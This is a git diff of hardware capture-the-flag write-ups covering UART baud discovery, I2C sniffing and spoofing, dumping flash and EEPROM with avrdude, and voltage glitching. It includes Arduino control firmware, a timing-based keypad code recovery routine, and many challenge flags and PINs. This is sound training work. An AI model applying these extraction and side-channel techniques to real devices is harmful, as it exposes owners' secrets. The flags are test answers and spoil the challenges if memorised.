+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
